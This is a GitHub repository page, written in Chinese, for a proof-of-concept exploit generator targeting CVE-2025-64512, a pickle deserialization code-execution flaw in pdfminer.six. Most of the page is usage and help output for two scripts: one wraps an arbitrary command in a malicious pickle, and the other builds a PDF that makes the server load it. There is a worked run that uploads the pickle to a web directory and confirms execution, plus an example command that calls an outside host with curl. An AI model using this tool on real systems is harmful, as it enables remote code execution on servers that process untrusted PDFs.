matesz44/CVE-2025-64512

GitHub: matesz44/CVE-2025-64512

针对 pdfminer.six 的 pickle 反序列化远程代码执行漏洞(CVE-2025-64512)提供 PoC 生成工具,可将任意命令封装为恶意 pickle 并嵌入构造的 PDF 中触发执行。

Stars: 2 | Forks: 0

CVE-2025-64512 通过构造 PDF 输入在 pdfminer.six 中实现任意代码执行 PoC - 基于 https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp % python3 mkpickle.py 用法: mkpickle.py [output] 示例: mkpickle.py 'curl [IP]:[PORT]/rce' evil.pickle.gz % python3 mkpdf.py -h 用法: mkpdf.py [-h] [-o OUTPUT] [-p PATH] [-f] [pickle_name] 创建可触发 pdfminer.six pickle 反序列化 (CVE-2025-64512) 的 PDF 位置参数: pickle_name 不带 .pickle.gz 的 Pickle 文件名 (默认: evil) 选项: -h, --help 显示此帮助信息并 退出 -o, --output OUTPUT 输出 PDF 文件名 (默认: exploit.pdf) -p, --path PATH pickle 的自定义绝对路径 (不带 .pickle.gz) -f, --fuzz 为所有 常见绝对路径生成 PDF python3 mkpickle.py 'touch /tmp/a' evil.pickle.gz [+] evil.pickle.gz (78 字节) 命令: touch /tmp/a (将 evil.pickle.gz 上传至 /var/www/html/files/evil.pickle.gz) python3 mkpdf.py -o ex-poc.pdf -p '/var/www/html/files' evil [+] ex-poc.pdf -> /var/www/html/files/evil.pickle.gz (上传 ex-poc.pdf 并触发/等待 PDF 处理) ls -l /tmp/a -rw-r--r-- 1 ... ... 0 Jul 19 12:39 a
标签:逆向工具